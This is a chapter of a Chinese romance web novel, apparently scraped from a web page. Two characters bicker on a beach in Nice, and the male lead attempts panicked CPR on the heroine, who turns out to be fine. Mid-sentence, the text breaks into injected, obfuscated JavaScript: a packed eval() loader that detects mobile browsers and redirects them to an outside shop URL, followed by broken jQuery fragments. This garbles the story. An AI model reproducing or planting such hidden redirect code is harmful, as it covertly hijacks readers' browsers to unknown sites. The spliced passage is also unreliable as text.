7. chap7
    为什么?

    钟屹在说了不会陪她,也不会再找她之后,还是出现在了她面前。

    谭诺抬着头,钟屹挡住了她的光,她其实看不太清他的眼神。

    她心里冒出一个念头:钟屹和孙庭誉的友情真是超乎她想象的坚固,想到她之前在钟屹冷脸的时候,对着孙庭誉见缝插针地“挑拨”,“他对着你话也那么少,是不是根本没把你当朋友啊?”

    看来,是她狭隘了?

    钟屹为了朋友可以做到这个份上,换成她的话,她只会对她的朋友好,管她们的男朋友去死,她才不会爱屋及乌。

    适应了光线后,谭诺对上那双无波无澜、看起来还有点厌世的眼睛。

    “你是只有睡衣吗?”她好奇地问,“不然去那边买一身短袖短裤吧,我可以送——”

    谭诺想说,她可以送他一身衣服当作他两次被迫来找她的礼物,就当是他们破冰的礼物吧。

    但是钟屹根本没有给她把话说完整的机会。

    “不关你的事。”他看着她的表情复杂。

    “不关我的事那你跟过来干嘛?”

    谭诺不想和他一般见识,因为这有些不识抬举,毕竟钟屹不管是因为谁,这两天确实帮了她很多,但是他态度太差了。

    她随手往钟屹的鞋子上丢了一颗小石子,没想到这石子真的一路顺着鞋面滚进了他的拖鞋里……

    她抬起头,发现钟屹并没有注意到,于是忍住什么也没说,就看到钟屹一脸淡漠。

    “怕你出事。”他说。

    谭诺听到他的话后,怪异又怀疑地看着他,这句话如果是孙庭誉说,绝对不是这个语气。

    果然,她下一秒就听到他又用那种可恶至极的语气:“因为你总是惹事,到时候,尼斯的警察就会第一个找到我,我很烦。”

    谭诺不想跟他继续斗嘴。但是听钟屹提起警察,她又不得不想到自己昨天丢失的手机和现金。

    “警察找你说不定是找到了我的手机,他们有联系你吗?”

    钟屹想了一下后说:“应该找不到了。”

    见她头懊丧地低下去,他忽地问:“这个手机不好用么?”

    “但是那个里面有我存的很多攻略,我都找不到了。”谭诺摇了摇头,“算了,丢掉就丢掉了。”

    一直想着这件事只会让她不开心。

    她手撑着地面起了身,手里的石子几乎掉干净了,只剩下一两颗还黏在她的掌心里。

    身旁,钟屹突然开口:

    “你想去哪里?”

    谭诺看他,“什么?”

    “你不是不肯回去?”钟屹说话的时候眉心不自在地又皱了一下,他抬手挡住阳光,“那告诉我你想去哪里。”

    “你带我去吗?”

    “地图带你去,”他说得十分坦然,“我找不到路。”

    谭诺终于找到了嘲笑他的机会,她学着之前钟屹对着她冷笑的样子,不熟练地扯了一边的嘴角。

    “你又找不到路,那你有什么用?”

    钟屹扫了她一眼,懒得对她拙劣的模仿进行任何评价。

    “替你翻译,就不会有刚刚的尴尬了。”

    钟屹想,就仅限今天下午,等孙庭誉回来,他就可以把他的麻烦还给孙庭誉。

    到时候孙庭誉最好还是带着他的小公主去酒店住,那样比较好。

    谭诺一想起那件事就有点羞愧,她不高兴地说:“你好烦,你不是话很少吗?之前见了我也都当我空气,现在怎么话这么多?”

    “空气没有你这样的存在感,”钟屹直视她,“我也不会无聊到每天出来找空气。”

    “比喻句你都听不懂吗?”谭诺捂住耳朵,不想再听钟屹说话。

    -

    不过很快,谭诺没有心思再去计较钟屹的针锋相对。

    因为即使阳光刺眼到她的眼睛都快睁不开,身体也被炙烤得发烫发热,她也无法忽视眼前的大海。

    太美了,离她远一点的海水颜色是饱和度极高的深蓝,而离她很近的泛着透明的湛蓝,这样的分层真的很像果冻。

    “真好看,”谭诺连拍了几张照片发给自己的好朋友,她发自内心地寻找能够直观表达自己感受的句子,“好看到我死了以后想把骨灰撒在这里……”

    谭诺希望自己以后死了做鬼也要做一个享受惬意的鬼。

    她原本是想和自己未来理想的骨灰盒拍一张纪念照,但是因为没有三脚架,她怎么都没办法拍出理想的效果。

    后来,谭诺将主意打到了站在十几米之外,正在打电话的钟屹身上。

    她心想,反正钟屹已经心不甘情不愿地来看着她了,再做一点微不足道的小事也是没关系的。

    谭诺等了足足五分钟,看到钟屹放下了手机后,她完全没有给自己纠结的时间,立刻小跑到了钟屹面前。

    因为光线的关系,她没有注意到钟屹脸上的呆愣,不过在看到她之后,他的表情又变成他平时的模样。

    “又想干嘛?”他问。

    谭诺直接把手机塞到了钟屹的手上。

    “帮我拍照。”她的眼睛在灼热的阳光下亮晶晶的,钟屹也曾见到过这个眼神,在她看着孙庭誉的时候。

    “不拍。”

    大概是没想到他会回绝得这么迅速,谭诺的眼睛都忘了眨。

    “你明知道最后还是会帮我拍,现在拒绝是为了争一口气吗?”谭诺搞不懂。

    钟屹无声地注视她,她的表情挟藏着一种顺理成章的天真。

    他忽然抱着手臂,嘴角勾了勾,像是在笑,但又带着一点难以言喻的恶意。

    “为什么我最后一定会帮你?”

    谭诺也被问懵了,再对上钟屹无法形容的表情,对啊,为什么她会这么觉得?

    钟屹没有再给她思考的时间,收起笑容,很平静地看着她:“就一张。”

    谭诺立刻开开心心地退回到她刚刚就已经挑选好的最佳位置。

    一张就一张,她那么上镜,拍一张也可以。

    不远处,钟屹对着她的方向举起了手机,谭诺连忙摆出她平常拍照很爱摆的双手捧脸微笑的姿势。

    只是,等到她眼睛对上手机背后钟屹那张半死不活的脸,她有点笑不出来了,于是她选择干脆闭上了眼睛。

    谭诺听到快门声后,飞快地又跑回钟屹身边。

    谭诺接过手机时,难得好心情地说了声“谢谢”。

    结果等她点开手机屏幕,看到钟屹给她拍的那张照片后,谭诺气疯了。

    “钟屹!”

    “叫什么?我没聋。”

    “你怎么能把我拍成这样?”这照片都被他拍得畸变了!

    而且他还正好在她笑容变得僵硬,顺势眨了一下眼睛的时候拍的,拍得她像是个乐呵呵的傻子。

    钟屹背着光看了一眼,也沉默了下来。

    嗯,拍得好像是有点过分。

    但是他的神情没有任何变化,说出来的话也同样。

    “人什么样,照出来什么样。”

    “你滚吧。”谭诺气急败坏地说。

    钟屹闻言真的点了一下头,做出要走的架势,谭诺却又叫住了他。

    她试图让自己冷静,“那我可以再给你一个机会。”

    谭诺站在他身侧,再一次把手机递给他。

    “我特别缺你给我机会。”钟屹一脸冷淡地说,手却还是接过了谭诺再次递过来的手机。

    他看了一眼她已经被晒红了的手臂,接下手机的同时,问:“拍完就回去,是么?”

    谭诺目光闪烁,含糊地哼了一声。

    钟屹一看,谭诺打开了摄像模式。

    “你技术太差了,”谭诺头翘着,很不屑一顾,“我不相信你,所以,你直接对着我拍视频就好,到时候我自己截图。”

    她说完话,没注意到钟屹用一种很莫名其妙的眼神看着她,又退回到她刚刚拍照的地点。

    一回生二回熟,她这次很快地找到了状态,对着不远处的手机做出她惯常的姿势。

    其实无非就是那些姿势,但是每当谭诺做出一个表情时,她真的很难忽视,在给自己拍照的人是钟屹……

    一想到他心里说不定就在腹诽她是个脑残,还是个惹是生非的脑残,她的表情就逐渐僵硬。

    很快,在她硬着头皮、努力忽略钟屹,对着镜头做出了一个非常常见俏皮的亲吻表情后,她又略显尴尬地瞟了一眼镜头后的那个人,又是那副一言难尽的表情。

    “嘴撅完了?”钟屹将视线从手机屏幕上挪开,“那我们回去。”

    谁要跟你回去……谭诺放下了嘴巴,决定放弃用照片记录此时此刻心情的打算。

    如果是孙庭誉在的话,她就可以让他随她心意拍个没完了,总结下来:都是孙庭誉的错。

    她接过手机后,没有去看钟屹拍的视频,慢悠悠地往前走。

    回去以后也只有两件事可以做,要么在房间里睡觉玩手机、要么在客厅和钟屹大眼瞪小眼,谭诺统统不想做。

    “要回去你回去吧,我不想回去,”谭诺低下头又开始踢脚下的石头,可惜根本踢不到钟屹。

    再往前走,石滩上躺着的裸/晒的人变多了,谭诺的脚也老实了下来,“我讨厌等人,一直等人我会抑郁的。”

    说完,她才意识到自己是在跟谁装可怜,这可是从第一次见到她就没有给过她好颜色的钟屹。

    钟屹走在她身前,有那么一阵没有出声,半晌他回过头,“说的这么可怜,有谁催你走么?”

    谭诺冲着他说,“你上一秒还在催!”

    “你会听我的?”钟屹问。

    “我不会。”谭诺想了一下,也是。

    -

    距离海岸线没有多远的地方摆了很多蓝色的大遮阳伞,下面是躺椅。

    第一排只剩下一个位置,钟屹去了第二排。

    “我困了,”钟屹说,他付了钱后,对谭诺指了一下那里,“我在那里休息,没事不要烦我。”

    钟屹虽然体温偏低、畏寒,但是被阳光裹挟的感觉,他并不喜欢。

    谭诺在第一排离海边最近的躺椅上躺下,桌边上放着她刚买来的鸡尾酒。

    孙庭誉给她打来视频电话,谭诺怕吵到身边闭目养神的人,于是将有线耳机插上。

    “在做什么?”孙庭誉问。

    “海边晒太阳。”谭诺几乎是在用气音说话。

    “宝宝是不是没吃饱?怎么那么小声?”

    “……旁边的人睡着了,”谭诺一看,发现身边躺着两个穿着儿童比基尼,长得像洋娃娃一样的小女孩,她们正用那双碧绿的眼珠子好奇地打量着自己,太可爱了。

    孙庭誉见谭诺的脸被晒得红红

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9620223|101193||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的,不知道看到了什么忽然笑了一下,他也跟着笑了。

    “那里太阳大,不要被烤成脆皮小五花肉。”

    谭诺瞪了他一眼,“你才是猪。”

    她听到电话那头似乎有人在叫孙庭誉的名字,他大概是开会前抽空给自己打个电话吧。

    “你忙去吧,我要看剧了。”

    “好,回去有东西送你。”

    挂掉电话后,谭诺打开了视频软件,只不过她习惯了枕枕头,颈窝下没有可以垫的东西,这让她翻来覆去没那么舒服。

    后来她忽然想到了她今天出来时是把比基尼穿在吊带里的,准备到海边躺下的时候就脱掉,但是刚刚一直和钟屹在一起,她便忘了。

    她回头看了一眼,钟屹还是维持着之前的姿势,闭着眼睛,大约真的睡着了。

    她看了一眼周围的人清凉的穿着,思索了两秒后,终于将吊带裙脱下垫在了脑袋下。

    谭诺一脸惬意地点开她每年暑假都会重温的剧集cut,从“光晞不行,他不能捐,让拓也捐”看到了“单均昊跟我交往过,8个字800万”……

    再没有比这更幸福的时刻了。

    —

    谭诺看了一会儿,摘掉耳机,正想喝一口鸡尾酒,就看到身旁那两个绿眼睛的小女孩已经站到她身侧,看起来已经跟着她看了一会儿电视剧。

    她们看起来不小了,不过矮一点的那个嘴里还含着安抚奶嘴。

    含着奶嘴的小女孩叫?lodie,她的手指慢慢地在谭诺的胳膊上点了一下,又害羞地缩了回去,捂着自己的嘴巴,谭诺看着只觉得自己的心都要化了。

    她是对小孩没感觉,但是可爱又不吵闹的小女孩真让人爱心泛滥。

    谭诺试着用简单的英语跟她们聊天,才知道她们的妈妈也在旁边。

    “玩,玩。”

    谭诺在得到孩子妈妈很热情的允许后,又被拉着去海边捡石子。

    -

    钟屹觉得自己睡了很沉的一觉,大约过去了一个小时,也可能只过了十分钟。

    睡前,他看到谭诺侧躺着玩手机,便闭上了眼睛。

    睡梦里,他隐隐约约听到谭诺的笑声,忽远又忽近。

    很快,这个声音消失了。

    钟屹感到一阵解脱。

    钟屹醒来后,拿起手边的矿泉水,往手心里倒了一些,想洗个脸让自己清醒点。

    胳膊有些抽筋,水刚触碰到脸,他的视线下意识地往小公主的方向看过去,发现她的躺椅上空了。

    不只是她的,她身边的两个躺椅上都空无一人。

    钟屹倏地站了起来,往海边看去,谭诺此时真的就躺在沙滩上,有两个女孩一左一右地围着她,正在儿戏地给她做着心肺复苏,而谭诺闭着眼睛,一动也不动……

    钟屹确定这是一场梦,除非她自己想不开跳海,不然根本不可能的。

    画面太荒唐了,太荒唐了,但是他的脚步还是不受控制地跑了过去。

    钟屹屈膝跪下,一声不吭地将谭诺从小女孩的手里给抱到自己的腿上,?lodie原本想要说话的,但是看到他的脸色难看又吓人,于是不敢出声了。

    谭诺的口腔里没有异物,钟屹看似冷静地将谭诺平放在石滩上,双手重叠、十指交扣地按压谭诺的胸骨下方。

    该按压多少次?钟屹皱着眉开始回忆,他大学时学过的,但是他想不起来。

    掌心因为抽筋失去了力气,就这样按了数十次以后,他身体往前,一只手托住谭诺的颈部,另一只手捏着她的鼻子。

    钟屹深吸一口气,就这样倾身向下。

    有几滴水顺着他额前的发丝一路往下,有一滴落进了钟屹的眼里,他艰难地眨了一下眼睛,重力拉拽着那滴水,它掉落在谭诺的眼皮上。

    就在钟屹的嘴唇几乎就要贴上谭诺的唇上时,或许已经碰上了,又或者还没有,钟屹模糊的视线里是谭诺睁得很大的眼睛。

    他们之间的距离太近,近到钟屹无法聚焦,他的视线尽头是谭诺黑色的瞳仁。

    他不知道她看了他多久。

    忽然间,谭诺将脸侧了过去。

    钟屹有一种从噩梦里醒来的感觉。

    谭诺醒来了,又或者说,她根本没有事。

    钟屹长久地怔愣住,久违地忘记做出任何反应。

    许久,钟屹和谭诺的身体隔开了一点距离。

    他面无表情地收回捏着谭诺颈部的手,就看到谭诺下一秒不太自在地摸了摸那里。

    钟屹不说话,她终于又看向他。

    在看到钟屹的眼睛后,谭诺这一下午所有怪异、无解的念头与瞬间像是一齐汇进从钟屹眼里滴下、又落到了她眼皮的那滴水里。

    那里还在发热,谭诺还是躺着,又用手背蹭了蹭自己的脸。

    她想要开口,但是不知道该说什么,说她其实只是在跟她们玩。但是被她们又捏又按地差点真的睡着,然后他就……

    她应该早一点打断他的,她应该早点睁开眼睛,推开钟屹嘲笑他,但是谭诺没有,因为她忍不住去思考一个问题。

    “怎么这么看着我?”钟屹很坦然地对上她的视线,自然到就像是刚刚什么都没有发生过,“你想说什么?”

    谭诺依然用那种无法理解的眼神望着钟屹。

    我有没有事对你来说,那么重要吗?